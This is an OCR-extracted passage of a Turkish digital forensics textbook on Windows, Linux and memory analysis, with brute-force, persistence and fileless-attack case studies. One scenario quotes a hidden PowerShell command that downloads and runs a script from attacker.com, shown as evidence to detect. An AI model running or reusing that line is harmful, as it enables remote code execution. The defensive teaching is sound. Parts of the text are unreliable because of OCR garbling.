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Windows artefact analizi, parcalar1 birlestirerek biiyiik resmi gérmeyi gerektiren bir puzzle
gibidir. Tek bir iz (artefact) yaniltici olabilir; ancak farkli kaynaklarin birbiriyle tutarli olmast,
analizin dogrulugunu kesinlestirir.

Buna adli bilisim literatiiriinde " Cross-Reference'" (Capraz Sorgulama) veya "Corrobora-
tion" (Dogrulama) diyoruz.

Iste tek bir kayda giivenmemen gerektigini kanitlayan temel korelasyon mantiklar:
Analiz Disiplini I¢in Altin Kural:

"Tek kamt, hi¢c kamittir." (One witness is no witness).

Bir DFIR uzmani olarak su akisla ilerlemelisin:

Bulgu: Bir siipheli dosya bul (Orn: nc. exe).

Dogrulama 1: amcache iizerinden hash degerini kontrol et.

Dogrulama 2: prefetch ile en son ¢alisma saatini saldir1 aniyla eslestir.
Dogrulama 3: shimcache ile dosyanin ilk goriildiigii dizini teyit et.

AW N~

Bolim 4 Kapanis

Windows artefact analizi, tek bir kayda dayanarak sonug iiretme disiplini degildir. Giiglii ana-
liz, dagitik izlerin birbiriyle iligkilendirilmesiyle yapilir. Analistin gorevi veri okumak degil,
davranis modelini insa etmektir.
Kullanic1 Baglami (Context)
Bir artefact, eylemin Kimin tarafindan yapildigini tek basina sdylemeyebilir.

o Registry (NTUSER.DAT): Kullanicinin yaptig1 ayarlar ve tikladig1 baglantilar.

e SRUM veri tabam: Hangi kullanic1 hesabinin hangi uygulama tizerinden kagc MB
veri transfer ettigini gosterir.
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BOLUM 5

Linux Sistemlerde Adli Analiz

Linux sistemlerde adli analiz, Windows'un kayit defteri (Registry) odakli yapisinin aksine,
dosya tabanh ve metin dosyasi (logs) agirlikli bir siirectir. Linux diinyasinda "her sey bir
dosyadir" (everything is a file) felsefesi hakim oldugu i¢in, analiz siireci bu dosyalarin ve sis-
tem giinliiklerinin derinlemesine incelenmesine dayanir.

Iste Linux adli analizinde odaklanman gereken temel alanlar:

Ugucu Veri Toplama (Live Response)
Linux'ta sistem kapanmadan 6nce su kritik bilgiler "canli" olarak toplanmalidir:

e Calisan Siirecler: ps aux veya top ile gizli sliregler tespiti.

o Ag Baglantilari: netstat -tulnp veya ss -antp ile hangi siirecin hangi IP ile ko-
nustugu.

e Acik Dosyalar: 1sof komutu, bir siirecin hangi dosyaya/socket'e eristigini gosterir
(Malware tespiti icin kritiktir).

o Yiiklii Modiiller: 1smod ile ¢ekirdege (kernel) enjekte edilmis siipheli rootkit modiil-
leri aranur.

Linux Giinliik Dosyalar1 (Log Analysis)
Linux'ta /var/log dizini, sorusturmanin kalbidir.

e /var/log/auth.log (veya secure): SSH giris denemeleri, bagarili/basarisiz loginler
ve sudo kullanimi.

e /var/log/syslog (veya messages): Sistem genelindeki tiim hata ve uyari mesajlari.

e /var/log/apache2/access.log (veya nginx): Web sunucusu iizerinden gelen saldi-
rilarin (SQL Injection, XSS) izleri.

e lastlog ve wtmp: Sisteme en son kimin, nereden ve ne kadar siireyle girdiginin geg-
misi.

Kullanic1 Aktivite Izleri (Artifacts)

Kullanicinin terminalde ne yaptigin1 anlamak icin su dosyalara bakilir:
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.bash_history (veya .zsh_history): Kullanicinin ¢alistirdig1 komutlar. Not: Sal-
dirganlar genellikle bu dosyay: siler veya unset HISTFILE komutuyla kaydi durdu-
rur.

SSH Anahtarlari (~/.ssh/authorized_keys): Saldirganin kalicilik (persistence)
saglamak i¢in kendi anahtarini ekleyip eklemedigi kontrol edilir.

Cron Jobs (/etc/crontab): Belirli araliklarla ¢alisan zararl betiklerin (backdoor)
takvimi.

Dosya Sistemi ve Zaman Damgalari

Linux (genellikle Ext4) dosya sistemlerinde de Windows'taki gibi MAC zamanlar1 bulunur:

00

M (Modification): Icerigin degistigi zaman.

A (Access): Dosyanin okundugu zaman.

C (Change): Izinlerin veya metaverinin degistigi zaman.

Birth (Creation): Dosyanin ilk olusturulma zamani (Bazi dosya sistemlerinde saklan-
mayabilir).

Linux Adli Analiz Araglar

Linux sistemlerini analiz ederken kullanilan temel arag setleri:

Arag Kullanim Amaci
The Sleuth Kit . . .. e .

(TSK) Dosya sistemi analizi ve silinmis veri kurtarma.

Autopsy TSK i¢in grafik arayiizii (Linux imajlarini destekler).
- Linux RAM doékiimlerini analiz etmek i¢in (Kernel siiriimiiyle
Volatility .
uyumlu profil gerekir).
S L5 Sistemde bilinen rootkitlerin taranmas.
Rkhunter
Lynis GUvenlik denetimi ve anomali tespiti.
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5.1 Linux’ta Delil Kaynaklar:

Linux sistemlerde dijital deliller genellikle su kaynaklarda bulunur:

e /var/log/ dizini

e /home/ kullanici klasdrleri
o Bash history dosyalari

e Cron yapilandirmalar1

o SSH konfigiirasyonlari

e Yetkilendirme kayitlari

o Systemd loglar1

Linux’ta en kritik fark:
Log yapis1 dagitik ve servis bazhidir.

Windows gibi merkezi Event Viewer yoktur.

5.2 SSH Erisim izleri

SSH loglar1 genellikle:

/var/log/auth.log
veya
/var/log/secure

dosyalarinda tutulur.

Ornek kayit:Basarisiz giris denemeleri
o Basarili login
e [P adresi

e Kullanici adi

Bu veriler brute force veya yetkisiz erisim tespitinde kritik rol oynar.
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Failed Coklu Basarili
[ I ] . [ Login ] . ‘ Deneme \ . [ Login

s

Yetki
YUkseltme

|

Basarisiz giris denemelerinin yogunlugu, otomatik saldir1 gdstergesi olabilir.

5.3 Bash History ve Komut izleri

Kullanict komut gegmisi:
~/.bash_history
Ancak dikkat:

e Dosya silinmis olabilir

e History kapatilmis olabilir

e Oturum agikken yazilmamis olabilir

Bu nedenle tek basina yeterli degildir.

5.4 Cron ve Kalicihk Mekanizmalari

Saldirganlar Linux sistemlerde kalicilik i¢in:
/etc/crontab
/etc/cron.d/
Kullanici crontab kayitlar
Adli incelemede:
e Siipheli zamanlanmig goérevler

e Root yetkisiyle ¢alisan scriptler
o Bilinmeyen dosya yollar1 incelenmelidir.
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5.5 Log Korelasyonu

Linux analizinde tek bir log dosyasi yeterli degildir.

Ornek:
e SSHlog
e Syslog
e Apache log
o Kernel log

Zaman ¢izelgesi olusturulurken tiim loglar birlestirilmelidir.

“Yetkisiz
Erisim”

Apache
Log

Log ¢esitliligi, dogrulama giiciinii artirir.

5.6 Uygulamali Senaryo: Yetkisiz SSH Erisimi

Bir Linux sunucuda gece saatlerinde siipheli bir login tespit edilmistir.

Analiz:
e 200’den fazla failed login
e 03:12’de basarili girig
e Ayni [P’den sudo komutu
o Cron’a eklenmis siipheli script
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/tmp altinda birakilmis binary
Log korelasyonu sonucu:

Sistem brute force ile ele gecirilmis ve kalicilik mekanizmasi kurulmustur.

5.7 SSH Brute Force — Basarih Erisim Korelasyonu

Bir brute force saldirisint dogrulamak icin sadece “Failed password” saymak yetmez.
Gergek analist su zinciri kurar:

Cok sayida failed login

Ayni [P’den basarili login

Ayni1 kullanict hesabi

Login sonras1 komut aktivitesi

Yetki yiikseltme

Live Response — SSH Analizi

$ grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort |
uniq -c | sort -nr | head

Ne yapar? En cok failed login {ireten IP’leri listeler.
Analitik deger: Brute force kaynagini belirler.

$ grep "Accepted password" /var/log/auth.log

Ne yapar? Basaril girisleri listeler.
Analitik deger: Brute force sonrasi basariy1 dogrular.

5.8 Yetki Yiikseltme (Privilege Escalation)

Basaril1 login sonrasi:

$ grep "sudo" /var/log/auth.log
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Analitik deger: Yetki yiikseltme girisimi var m1?

5.9 Bash History Manipiilasyonu

Saldirgan genelde: history -c veya.bash_history siler.
Kontrol:
$ 1s -la ~/.bash_history

Dikkat:
History silinmis olabilir ama RAM’de kalmus olabilir.

5.10 Cron Kalicilik Tespiti
$ crontab -1

$ 1s -la /etc/cron.d/

Siipheli drnek:

*¥/5 * * * * /tmp/.sys_update.sh

Bu kirmizi bayraktir |

Bash History Analizi i¢in Kritik Komutlar

# 1. Mevcut oturumdaki ortam degiskenlerini kontrol et

echo $HISTFILE # Nereye kaydediyor? (/dev/null mu?)

echo $HISTSIZE # Kag¢ satir tutuyor? (@ mi?)

# 2. Dosyanin Ozniteliklerini incele
1s -la ~/.bash_history

stat ~/.bash_history # Silinme veya son erigim tarihini dogrula
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# 3. Silinen verileri kurtarmaya c¢alig (Forensic Imaging)

# Disk imaj1 lizerinden "deleted files" aramasi yapilmasi gerekir.

Linux Saldir1 Zaman Cizelgesi

[ 01:12— 150 |
Failed Login

A 4

01:15 —
Basarli SSH

A 4

rOl:lé—sudo‘
kullanimi

A 4

rOl:l7—Cron‘
eklenmesi

A 4

(01:20 — Dis IP |
baglantisi

Log korelasyonu, saldirmin evrimini gosterir.

5.11 Log Rotation ve Tuzaklar

Linux’ta loglar doner:

e auth.log.1
e auth.log.2.gz
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Sadece ana dosyaya bakmak hatadir.

$ zgrep "Accepted password" /var/log/auth.log.*

Linux Hizli Inceleme Cheat Sheet

Amacg: Yetkisiz SSH Erisimi Var mi?

1. Failed login say1s1?

2. Ayni IP'den basarili giris?

3. sudo kullanim1?

4. Cron kalicil1g1?

5. /tmp altinda siipheli dosya?

Adli imaj Uzerinde

$ grep "Accepted password" /mnt/image/var/log/auth.log

$ zgrep "Failed password" /mnt/image/var/log/auth.log.*

Profesyonel Linux Refleksi

Tek log dosyasina giivenme.
SSH + sudo + cron + process korelasyonu yap.

5.12 Uygulamah Vaka: Linux Sunucu Ele Ge¢cirme

Senaryo

Bir sirketin internet erisimine a¢ik Linux web sunucusunda olagandisi outbound trafik tespit
edilmistir.

SOC alarmu:

e Gece 02:00 civar1 yogun trafik
e Yabanci IP adresine baglanti
e CPU kullanim artis1
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Sunucuya ait imaj alinmis ve adli inceleme baslatilmigtir.
Analistin sorusu:

Sunucu ele gecirildi mi?
Ele gecirildiyse hangi yontemle?

Adimm 1 — SSH Brute Force Analizi
$ zgrep "Failed password" /var/log/auth.log.*
Tespit:

e 350 failed login

e Ayni IP adresi

e 02:14’te basarili login
$ zgrep "Accepted password" /var/log/auth.log.*
Basaril1 giris:

o Kullanici: webadmin

e [IP: 185.x.x.x

e Saat: 02:14
Bu brute force sonrasi basariy1 gosterir.

Adim 2 — Yetki Yiikseltme

$ zgrep "sudo" /var/log/auth.log.*

Tespit:

e webadmin — root
e Saat: 02:16

Saldirgan root yetkisi elde etmis.

Adim 3 — Kaliciik Mekanizmasi

$ cat /etc/crontab

Siipheli kayit:

*/10 * * * * proot /tmp/.cache_updater.sh
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$ 1s -la /tmp

Stipheli baglanti:
e 443 portu
e Yabanci IP
e PID: 2874

$ ps -fp 2874
Process:
/tmp/.cache_updater.sh
Bu C2 baglantisint dogrular.
Linux Sunucu Inceleme Komut Listesi (Cheat Sheet)

Sorusturma aninda hizla kullanabilecegin komutlar:

Gorev Komut
Giris Ge¢misi last -ad (Sisteme giren son kullanicilar ve IP'leri)
Aktif Baglantilar ss -antup (Hangi siire¢ hangi dis IP ile bagli?)
Siipheli Siirecler ps -auxf (Hiyerarsik siire¢ goriinlimii)
Acik Dosyalar 1sof -nP -i (Ag baglantisi kullanan acik dosyalar)
Degisen Dosyalar | find /etc -mtime -2 (Son 2 giinde degisen konfigiirasyonlar)

Linux Sunucu Ele Gegirme Timeline

86




rOQ:]O — Bru’re‘
Force Basladi

¥
02:14 —
Basaril SSH

A 4

[ 02:16 — sudo |
root

' ‘ 3
02:18 — Cron
Kalicilik

A 4

[ 02:20—C2 |
Baglantisi

Bir Analiz Ornegi:

Saldirgan bir Web Shell (Orn: ¢99, b374k) yiiklediyse;
1. Web loglarinda (access.log) siipheli bir . php dosyasina ¢ok sayida posT istegi goriir-
2. T::).f komutuyla o PHP dosyasinin bir sh (shell) baslattigini1 yakalarsin.
3. /tmp dizininde saldirganin indirdigi exploit dosyalarini (genellikle gcc ile derlenmis)

bulursun.

Basarili brute force sonrasi root erisimi ve kalicilik kurulumu tipik ele gecirme modelidir.

Adim 5 — Log Manipiilasyonu Girisimi

$ 1s -la /var/log/

auth.log dosya boyutu siipheli derecede kiictik.

$ stat /var/log/auth.log

Son modified zamani saldir1 saatine yakin.

Bu log temizleme girisimi olabilir.

Nihai Analitik Degerlendirme
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Bu vakada:

Brute force dogrulandi

Root yetki yukseltme dogrulandi
Cron kaliciigi tespit edildi

/tmp altinda zararl script bulundu
C2 baglantisi mevcut

Log manipulasyonu sUphesi var

Sonug:

Sunucu uzaktan brute force ile ele gegirilmis ve kalicilik saglanmastir.

Boliim 5 Kapanis

Linux adli analizi, log disiplinine dayalidir. Analistin gorevi tek bir dosyay1 okumak degil, da-
gitik servis kayitlarin1 zaman ekseninde birlestirmektir.

Linux diinyasindaki adli yolculugumuzun sonuna gelirken, agik kaynakli sistemlerin hem kar-
magsikligini hem de seffafligin1 kesfettik. Windows'un merkezi kayit defteri yapisinin aksine,
Linux'un "her sey bir dosyadir" felsefesiyle her kdseye biraktigi metin tabanli izleri stirmeyi
ogrendik.

Bu boliimde; /var/log dizininin bir karakutu gibi olaylari nasil sakladigini, auth. log ile
SSH iizerinden s1izmaya ¢aliganlarin kimliklerini nasil ele verdigini ve bir saldirganin kalicilik
saglamak i¢in cron veya systemd servislerini nasil manipiile edebilecegini inceledik.

Linux Adli Analizinin Ozeti
Linux sistemlerde bir sorusturmaci su ii¢ temel siitun iizerinde durur:

o Giinliiklerin Dili (Logs): Sistem, kullanici ve uygulama bazli loglarin korelasyonu,
olay rekonstriiksiyonunun temelidir.

o Dosya Sistemi Metaverisi (Inodes): Bir dosyanin sadece icerigi degil, ne zaman olus-
turuldugu ve yetkilerinin nasil degistirildigi (MACB zamanlari) her seyi anlatir.

o Canh Miidahale (Live Response): Rootkit'lerin kendilerini gizleyemedigi tek yer
olan RAM ve aktif siirecler, "canli" sistemdeki en diirtist kanitlardir.

Linux sistemlerde iz siirmek, samanlikta igne aramaya benzer; ancak ignenin gegtigi her yer

mutlaka bir miknatis izi birakir. Bagarili bir analiz i¢in en bilyiik silahiniz, sistemin "normal"
halini ¢ok 1yi bilmektir. Normali bilmeyen, anomaliyi (saldiriy1) asla fark edemez.
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BOLUM 6
Bellek (Memory) Adli Bilisimi

Bellek (Memory) Adli Bilisimi, bir sistemin en ugucu ama en diiriist oldugu alanin incelen-
mesidir. Sabit diskler (HDD/SSD) "ge¢cmisi" anlatirken, RAM "simdiki zaman1" anlatir. Sal-
dirganlar izlerini diskten silebilirler, ancak ¢alisan bir kodun RAM'de iz birakmamasi nere-
deyse imkansizdir.

Iste RAM analizinin neden bu kadar kritik oldugu ve nasil yapildigina dair teknik rehber:

6.1 Neden Bellek Analizi?

Disk, gecmisi anlatir.
Bellek ise o an1 anlatir.

Bir saldirganin:

Fileless malware kullanmasi

PowerShell tizerinden komut c¢alistirmasi
Sifreleme anahtarlarint RAM’de tutmasi
Process injection yapmasi

durumunda disk analizi yetersiz kalabilir.
Bu nedenle bellek analizi ¢gogu zaman saldirinin gergek yiiziinii ortaya ¢ikarir.

Modern saldirilarin (6zellikle APT ve Ransomware) cogu artik "Fileless'" (Dosyasiz) yon-
temler kullantyor. Bu saldirilar diskte dosya birakmaz, dogrudan bellek igine enjekte olurlar.

o Sifreleme Anahtarlari: BitLocker, VeraCrypt veya Ransomware anahtarlar1 genel-
likle RAM'de agik halde bulunur.

o Ag Baglantilari: netstat ile goriilemeyen, gizlenmis aktif baglantilar.

« Enjekte Edilmis Kodlar: Mesru bir siirecin (Orn: explorer.exe) igine gizlenmis za-
rarl kodlar.

o Pano (Clipboard) Verileri: Kullanicinin o an kopyaladig: sifreler veya metinler.

6.2 Bellek Nedir ve Ne Icerir?

RAM igerisinde sunlar bulunabilir:
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e (Calisan siiregler

e Agcik ag baglantilari

e Sifreleme anahtarlari

e DLL yiiklemeleri

o Komut gecmisi

o Enjekte edilmis kod pargalari

Sistem kapandiginda bu verilerin tamami kaybolur.

Bellek Analiz Stireci (Workflow)
Siirec iki ana agamadan olusur: Edinim (Acquisition) ve Analiz (Analysis).
A. Bellek Edinimi (Memory Acquisition)

Bellek dokiimii (dump) alirken "Uguculuk Siralamasi"na uyulmali ve sistem iizerinde mini-
mum iz birakilmalidir.

e Araclar: DumpIt, Magnet RAM Capture, FTK Imager Lite.
e Format: Genellikle ham (. raw), .bin veya .dmp formatinda kaydedilir.

B. Bellek Analizi (Memory Analysis)

Edinilen dosya, 6zel araclarla anlamlandirilir. Bu alanda endiistri standardi1 Volatility Fra-
mework'tiir.

Gérev Volatility 3 Ko- Amaci
mutu
Siirec Listesi windows.pslist Calisan tiim siiregleri listeler.
Gizli Siirecler windows.psscan Kapatilmis veya glz.lenmls (Rootkit) siireg-
leri bulur.
Ag Analizi windows.netstat Bellek alindig1 andaki aktif ag baglantilari.
@t Cpms windows . cmdline Siireglerin hang} para@etrderle calistirildi-
gin1 gosterir.
Malfind S dons el g Stipheli kod enj ekvsiyonu belirtilerini (MZ
baslig1 vb.) arar.
Enjekte Kodu windows . vaddump Stipheli siireci diskte analiz etmek i¢in di-
Cikar sar1 ¢ikarir.
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Surecler
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Baglantilar
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DLL'ler

o Sifre
Anahtarlar

& Enjekte

Bellek analizi, saldirmin canli izlerini barindirir.

6.3 Fileless Saldirilar

Modern saldirilar cogu zaman disk {izerinde iz birakmadan gerceklesir.

Ornegin:

e PowerShell encoded komut
e  WMI iizerinden komut ¢aligtirma
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e Reflective DLL injection

Bu tiir saldirilarda disk artefact’lar1 sinirlidir. Ancak RAM igerisinde:
o Siipheli process tree
o Enjekte edilmis modiil

e Anormal parent-child iligkileri

tespit edilebilir.

6.4 Process Injection ve Anomali Tespiti

Process injection durumunda:

e svchost.exe gibi mesru siiregler icine kod enjekte edilir
o Bellekte siipheli modiil adresleri gortilebilir
e Yiiklenen DLL yolu olagandis1 olabilir

Ornegin:

svchost.exe
, Yiklenen DLL: C:\Users\Public\mal.dll

Bu tiir bulgular davranissal siiphe tiretir.

Process Injection (Siire¢ Enjeksiyonu), saldirganlarin mesru ve giivenilen bir siirecin (6rne-
gin explorer.exe veya svchost.exe) bellek alanina zararl kod yerlestirerek kendilerini giz-
leme teknigidir. Bu yontem, geleneksel antiviriis yazilimlarini atlatmak ve sistemde kalicilik
saglamak i¢in en ¢ok tercih edilen Evasion (Kaginma) tekniklerinden biridir.

Bellek adli bilisiminde bu durumu tespit etmek, "normal" olanin disindaki sapmalar1 (anoma-
lileri) yakalamakla miimkiindiir.

1. Sik Kullanilan Enjeksiyon Y ontemleri
Saldirganlar kodlarini bellege yerlestirmek icin farklt API ¢agrilar kullanirlar:

e DLL Injection: Zararli bir DLL dosyasinin, ¢alisan bir siirece LoadLibrary () ¢agri-
styla yiiklenmesi.

e Process Hollowing: Mesru bir siirecin (Orn: 1sass.exe) baslatilip, i¢indeki kodun
bosaltilarak yerine zararl kodun yerlestirilmesi.

e Thread Execution Hijacking: Calisan bir thread'in (is parcacig1) durdurulup, kontro-
liin zararli koda devredilmesi.
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2. Bellekte Anomali Tespiti (Detection)

Enjekte edilmis bir kodu tespit ederken Volatility gibi araclarla su 4 ana belirtiye (Red Flags)
odaklaniriz:

A. Bellek izinleri (The RWX Rule)

Mesru stireclerin bellek sayfalar genellikle ya okunabilir/yazilabilir (RW) ya da okunabi-
lir/calistirilabilir (RX) seklindedir. Bir sayfanin ayni anda hem Yazilabilir hem de Calistirila-
bilir (RWX - Read, Write, Execute) olmasi, oraya bir kod enjekte edildiginin en giiclii kani-
tidir.

B. "MZ" Header (Magic Bytes)

Windows calistirilabilir dosyalar1 her zaman mz harfleriyle (hex: 4D 5a) baslar. Eger bir siire-
cin bellek alaninda, o dosyanin kendi modiilleri disinda bir yerde aniden bir Mz basgligi gorii-
yorsaniz, bu bir PE dosyasinin (exe/dll) oraya enjekte edildigini gosterir.

C. Orphaned Threads (Yetim Is Parcaciklari)

Bir siirecin i¢ginde c¢alisan bir kodun, disk iizerinde karsilik gelen bir dosyasi (mapping) yoksa
bu siiphelidir. Normalde her kodun diskte bir dosyaya (DLL veya EXE) bagli olmas1 gerekir.

D. Parent-Child Hiyerarsisi
Siireglerin kim tarafindan baslatildigina bakilir.
e Normal: services.exe -> svchost.exe
e Anomali: notepad.exe -> svchost .exe (Bir metin belgesi neden bir sistem servisi
baslatsin?)
Process: explorer.exe Pid: 2432 Address: 0x2a0000

Tag: VadS Protection: PAGE_EXECUTE_READWRITE (RWX!)

0x00220000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00

Yorum: explorer.exe icinde, adresi 0x2a0000 olan bir bélge bulunmus. Izinleri RWX ve icerik MZ ile basliyor.
Bu, tartismasiz bir Process Injection vakasidir.
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Anomali Tespit Matrisi

Belirti Olas1 Anlam

Unmapped Private

Memory Shellcode enjeksiyonu.

LE (GO T UL Siirecin davranisini degistiren bir Rootkit.

(IAT/EAT)
Unexpected Command Mesru bir siirece eklenen siipheli parametreler (Orn:
Line powershell -enc ...).
Hidden Process pslistte yok ama psscande var; gizlenmis slireg.

3. Pratik Analiz: Volatility "Malfind" Komutu
Volatility'nin malfind eklentisi, yukaridaki belirtileri otomatik olarak tarar.
Analiz Ciktis1 Ornegi:
Process: explorer.exe Pid: 2432 Address: ©x220000
Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Tag (VadS): Bu bolge "Private" (6zel) bellek alanidir.
Protection: RWX bayragini gérmek, analize devam etmeniz i¢in en biiyiik sinyaldir.

Hex DOkUmU (Heuristic Analizi)

0x00220000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00

Assembly (Tersine MUhendislik)
0x002a0010 55 PUSH EBP

0x002a0011 89 e5 MOV EBP, ESP

0x0022001a €8 00 00 00 00 CALL 0x0022001f
python3 vol.py -f mem.raw windows.vaddump --pid 2432 --address ©x2a0000

Bu komut, o bellek bolgesini pid.2432.0x2a0000.dmp adiyla bir dosya olarak disari gikarir.
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Supheli
B | DLL (User
dizini)

e

Normal
DLL'ler

(System32)

Mesru siire¢ icerisinde olagandisi modiil yiliklenmesi injection gdstergesi olabilir.

6.5 Disk ve Bellek Catismasi

Profesyonel analizde kritik nokta:
Disk ile RAM verilerinin gelismesi.
Ornek:

e Diskte zararh yok
e RAM’de siipheli process var

Bu durum fileless saldir1 gostergesi olabilir.
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6.6 Uygulamal Senaryo: PowerShell Fileless Saldiri

Senaryo Ozeti

Sistemde alisilmadik bir ag trafigi saptandi. Bir kullanici bilgisayari, internetteki siipheli bir
IP'ye siirekli kiigiik paketler gonderiyor. Bilgisayar iizerinde yapilan hizli taramada yeni yiik-
lenmis hi¢bir dosya bulunamadi. Hemen bir RAM dékiimii aldin.

Adim: Siipheli Siireci Tespit Etme (pslist / pstree)

Saldirgan PowerShell kullantyorsa, siireg listesinde bir anomali aramaliy1z.

Komut: windows.pstree Bulgu:

Oxfa800123

explorer.exe (PID 2432)
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Oxfa800456 powershell.exe (PID 5812) -- Args: -nop -w hidden -c "IEX
(New-Object Net.WebClient).DownloadString('http://attacker.com/pay-
load.ps1')"

Analiz: Bir kullanicinin explorer.exe altindan gizli (-w hidden) ve profil yiiklemeden (-nop) PowerShell agmasi
ve internetten bir script ¢ekip ¢alistirmasi (IEX) en biiyiik "kirmizi bayraktir".

Adim: Bellekte Enjekte Edilmis Kod Arama (malfind)

Saldirgan PowerShell araciligiyla bir Meterpreter veya Cobalt Strike beacon't yiiklemis ola-
bilir. Bu kodlar PowerShell'in bellek alaninda gizlenir.

Komut: windows.malfind --pid 5812 Bulgu:

Process: powershell.exe Pid: 5812 Address: 0x1d000e

Tag: VadS Protection: PAGE_EXECUTE_READWRITE (RWX!)

0x001doee0 4d 5a 90 00 ... MZ......

Korelasyon: PowerShell mesru bir uygulamadir ama kendi icinde RWX (Yazilabilir ve Ca-

listirilabilir) bir bellek bolgesinde MZ (bir PE dosyasi bagligi) barindirmasi normal degildir.
Bu, bir shellcode veya DLL'in bellege enjekte edildigini kanitlar.

Bir sistemde veri s1zintis1 siiphesi vardir. Disk iizerinde zararli yazilim bulunamamustir.
Bellek analizi sonucu:
o powershell.exe aktif
e EncodedCommand parametresi
o Siipheli ag baglantisi
e LSASS belleginde anormal erisim
Bu bulgular bir araya getirildiginde:
Diskte iz birakmayan bir PowerShell tabanli saldir1 tespit edilmistir.

Adim: Bellekten Kanit1 Cikarma (vaddump)

Saldirganin internetten indirdigi o "payload" nedir? Bunu anlamak i¢in o bellek bdlgesini di-
sar1 ¢ikarmaliyiz.

Komut: windows.vaddump --pid 5812 --address 0x1d000e

e Sonuc¢c: RAM'den pid.5812.0x1d0000.dmp dosyasi olusturulur. Artik elimizde "dos-
yasiz" saldirinin "dosyas1" var.
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String Analizi ve Ag Baglantilari
Disar1 ¢ikardigimiz dosyada hangi IP'ler veya komutlar var?

Komut: strings pid.5812.0x1d00e@.dmp | grep http Bulgu: http://bad-
c2-server.com/login/process.php

Ayrica, bu baglantinin o an aktif olup olmadigini dogrulariz: Komut: windows.nets-
tat Bulgu: 5812 powershell.exe 192.168.1.15:49152 -> 45.33.xX.xx:443
ESTABLISHED

Boliim 6 Kapanis

Bellek analizi, modern saldirilarin anlagilmasinda kritik rol oynar. Disk artefact’lar1 gegmisi
gosterirken, RAM saldirinin gergek zamanli dogasini ortaya koyar. Giiglii bir analist, bu iki
kaynag birlikte degerlendirir.

BOLUM 7
Olay Rekonstriiksiyonu: Dijital izlerden Davrams Modeline

Olay Rekonstriiksiyonu (Event Reconstruction), dijital adli tibbin "final" agamasidir. Eli-
mizdeki binlerce satir logu, ylizlerce artefact't ve bellek dokiimiinii bir araya getirerek; " Kim,
Ne Zaman, Nasil ve Neden?" sorularina yanit veren tutarli bir hikaye olusturma siirecidir.

Bu asamada sadece veriye bakmazsiniz; veriler arasindaki besluklari doldurur ve saldirganin
davramis modelini (TTP - Tactics, Techniques, Procedures) ortaya ¢ikarirsiniz.

Bilesen Sorulan Soru Ornek Kanit

Temporal Olaylar hangi sirayla ger- $MFT$ zaman damgalar1, Event Loglar.

(Zaman) ceklesti?

Rell;tlw- Bu dosya bu siireci nasil Parent-Child siireci ($pstree$), SLNKS$
. ?

(iliskisel) baslatt1? dosyalari.
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Bilesen Sorulan Soru Ornek Kanit

Fu:ll;:lo' Bu yazilim sistemde ne $Malfind$ dokiimii, $Netstat$ baglanti-
(Islevsel) yapt1? lar1.

7.1 Rekonstriiksiyon Nedir?

Olay rekonstriiksiyonu, dijital artefact’larin zaman ekseninde birlestirilerek bir olayin teknik
gergekliginin yeniden insa edilmesidir.

Bu siirec:
e Veri okumak degil
o Kayait listelemek degil
e Arag ciktist vermek degil

Baglam tiretmektir.

7.2 Senaryo: Iceriden Veri S1zdirma

Bir finans sirketinde ¢alisan bir personelin, mesai dis1 saatlerde miisteri verilerini dis ortama
aktardig1 iddia edilmektedir.

El konulan sistem:
e Windows 11 yiiklii diziistii bilgisayar
e Kurumsal VPN baglant1 kaydi mevcut
e USB kullanim siiphesi var

Analistin gorevi:

Veri s1zintis1 gergeklesti mi?
Gergeklestiyse hangi yontemle?

7.3 i1k Bulgular

Windows Artefact Bulgulari
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Prefetch: 7ZIP.EXE
Prefetch: data_export.exe
Event ID 4688 kayitlarn

LNK dosyasi USB yoluna isaret ediyor

$SMFT Analizi

e Toplu dosya erisimi
e Zaman damgasi 22:43

7.4 USB Artefact

Registry anahtarlart:
USBSTOR
Tespit edilen:

o Harici disk seri numarasi
e Baglanma zamam

Bu zaman, Prefetch ile uyumlu.

[22:41 — USB takildi

[22:42 — data_export.exe calisti

[22:43 — 7zip calist

[22:45 — Dosya sikistirma

[22:47 — USB cikarild
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Artefact zaman uyumu, davranis modelini gii¢clendirir.

7.5 Linux Sunucu Tarafi Analizi

Kurumsal sunucu loglarinda:

22:50 VPN baglantis1

Ayni kullanict hesabi
Biiytik boyutlu veri transferi
SSH log kayd1

VPN Kullanici
zlsNele]

Windows

. Linux Sunucu
Endpoint “ Loglar

Artefact

Ug nokta ve sunucu loglarinin kesisimi olaym kapsamini netlestirir.

7.6 Bellek Analizi

RAM dokiimiinde;

e powershell.exe
e Siipheli encoded komut
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e Acik TLS baglantisi

Bu baglanti VPN zamaniyla ortiigmektedir.

7.7 Nihai Rekonstriiksiyon

Olayin teknik modeli:

USB takild1

Veri export edildi

Sikistirildi

VPN ile baglanildi

Dosya sunucuya aktarildi

Log temizleme girisimi yapildi

SO S

Bu model, dagitik artefact’larin zaman uyumu ile insa edilmistir.

) Log
> USB >> Export >> Zip >> VPN >> Transfer >> ManipUlasyonu >

Rekonstriiksiyon, veri yigimi degil; davranig zinciridir.

Bolum 7 Kapanis

Dijital adli bilisimde nihai amag, teknik ¢iktilar listelemek degil; olayin teknik gercekligini
bilimsel ve hukuki olarak savunulabilir bigimde ortaya koymaktir. Gliglii bir rekonstriiksiyon,
¢oklu veri kaynaginin zaman ekseninde tutarh sekilde birlestirilmesiyle miimkiindiir.

X delili, Y metodolojisiyle (ISO 27037) incelenmis ve Z sonucuyla dogrulanmistir" denilerek
mahkemede bilimsel dayanak sunulur.
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Dosya Sistemi: Dosyanin olusturulma zamani (SMFTS).
Kayit Defteri: Yazilimin son ¢alisma zamani ($Registry$).
Ag Katmam: Verinin disar1 sizdirildigi an ($Netflow/PCAPS).

Uygulama Loglari: Zararli islemin veritabanindaki etkisi ($SQL\ Logs$).

Sonug olarak, bir DFIR raporu bir bilgisayara yazilmis bir mektup degil, hakime sunulmus bir hikayedir. Bu
hikayenin kahramanlari, senin zaman eksenine tutarli bir sekilde yerlestirdigin o artefaktlardir.

BOLUM 8
Etik, Raporlama ve Uzman Tamkhk

Dijital adli tip siirecinin teknik kism1 ne kadar miikemmel olursa olsun, bu emegi nihaiuca
ulastiran ve mahkeme nezdinde gegerli kilan i¢ siitun vardir: Etik, Raporlama ve Uzman
Tamkhik. Bir uzman, sadece veriyi okuyan kisi degil, o verinin dogruluguna serefini ve pro-
fesyonel itibarini kefil koyan kisidir.

8.1 Dijital Adli Analistin Etik Sorumlulugu

